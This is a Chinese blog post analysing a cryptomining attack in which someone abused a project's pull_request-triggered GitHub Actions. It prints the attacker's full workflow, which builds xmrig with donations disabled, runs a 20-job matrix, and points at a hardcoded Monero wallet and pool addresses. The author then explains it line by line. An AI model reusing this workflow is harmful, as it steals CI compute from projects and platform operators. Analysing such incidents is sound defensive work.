背景:
2021年4月5日清明当天,笔者发现自己的开源项目 tomxiong/spell-check-maven-plugin 被Github禁止了Github Actions,进一步调查发现有黑客利用这个开源项目的Github Actions来挖矿,这个引起了我的兴趣,特地来分析一下这个攻击如何进行的,挖矿的脚本对于编写Github Actions的workflow有哪些可供学习的部分。
这篇文章主要关注在执行挖矿脚本的Github Actions上,至于攻击如何进行的和如何防止后续将待整个事件结束后进一步总结。
脚本分析:https://github.com/tomxiong/spell-check-maven-plugin/actions/runs/719145746/workflow
脚本执行情况:
脚本内容如下:
name: Run
on: [pull_request]
jobs:
run:
name: Run
runs-on: ubuntu-latest
strategy:
fail-fast: false
matrix:
runner: [0,1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19]
steps:
- shell: bash
run: |
sudo apt-get update
sudo apt-get install --yes \
build-essential \
cmake \
git \
libhwloc-dev \
libssl-dev \
libuv1-dev
curl --location --output xmrig.tar.gz \
https://github.com/xmrig/xmrig/archive/refs/tags/v6.10.0.tar.gz || exit 1
tar xf xmrig.tar.gz || exit 1
cd xmrig-* || exit 1
# Izvinite)))))
sed -i 's/= 1;/= 0;/' src/donate.h || exit 1
mkdir build || exit 1
cd build || exit 1
cmake .. -DCMAKE_BUILD_TYPE=Release || exit 1
make --jobs=$(nproc) || exit 1
adres=49eqpX3Sn2d5cfJTevgZLGZGQmcdE37QE4TMJDmDcJeCG8DUgkbS5znSsU35Pk2HC1Lt99EnSiP9g74XpUHzTgxw23n5CkB
servery=(
165.0.74.146:18089
84.58.115.216:18089
137.103.97.192:18089
194.5.250.42:18089
96.41.220.52:18089
51.79.173.165:18089
100.19.74.83:18089
204.27.62.98:18089
96.43.139.226:18089
46.4.52.92:18081
144.76.113.157:18081
)
servery=( $(shuf -e "${servery[@]}") )
cat <<EOF>config.json
{
"autosave": false,
"cpu": true,
"opencl": false,
"cuda": false,
"pools": []
}
EOF
for server in "${servery[@]}"; do
jq --arg server "$server" --arg adres "$adres" \
'.pools += [{ coin: "monero", url: $server, user: $adres, daemon: true }]' \
config.json > config.json.tmp || exit 1
mv config.json.tmp config.json || exit 1
done
./xmrig -c config.json**
逐步分析:
名称简单:Run
第2行 触发事件为: on[pull request],即这个workflow仅当有人创建到本项目的pull request即可触发,不影响main分支,也方便删除pull request和fork的分支。
第8行,fail-fase: false , 查看帮助文档,它的值如果是true的话意味着针对metrix workflow的多个节点,如果有一个失败的话,后续剩余还未执行的job会被取消,参考:https://www.edwardthomson.com/blog/github_actions_6_fail_fast_matrix_workflows.html
第9,10行,Stratege--》Metrix 可以指定执行job并行的node数以及编号,这个可以用于多节点并行执行的job,后续可以试一下如何使用。
第27行,用sed修改donat.h中将=1修改为=0,貌似关闭donat的功能,猜测挖矿时不贡献一下原作者,吃独食呀。
第46行,shuf的用法,shuf是随机排序一下输入的内容, 具体参考:https://www.geeksforgeeks.org/shuf-command-in-linux-with-examples/#:~:text=The%20shuf%20command%20in%20Linux%20writes%20a%20random,randomizes%20those%20input%20lines%20and%20displays%20the%20output.
第57行, jq的用法,利用for loop更新config.json文件中的pools